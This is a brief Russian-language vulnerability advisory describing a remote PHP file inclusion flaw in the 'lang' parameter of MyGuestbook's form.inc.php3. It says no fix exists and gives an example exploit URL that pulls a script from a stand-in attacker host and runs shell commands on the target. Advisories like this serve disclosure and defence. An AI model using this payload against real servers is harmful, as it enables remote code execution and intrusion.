PHP инклюдинг в Mark Kronsbein's MyGuestbook

Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе с привилегиями web сервера.

Уязвимость существует из-за недостаточной обработки входных данных в параметре lang сценария 'form.inc.php3'. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный PHP сценарий на целевой системе с привилегиями web севера. Пример:

http://[target]/gb/form.inc.php3?lang=http://
[attacker]/cmd.gif?&cmd=id;uname%20-a;uptime

URL производителя: html-design.com

Решение: Способов устранения уязвимости не существует в настоящее время.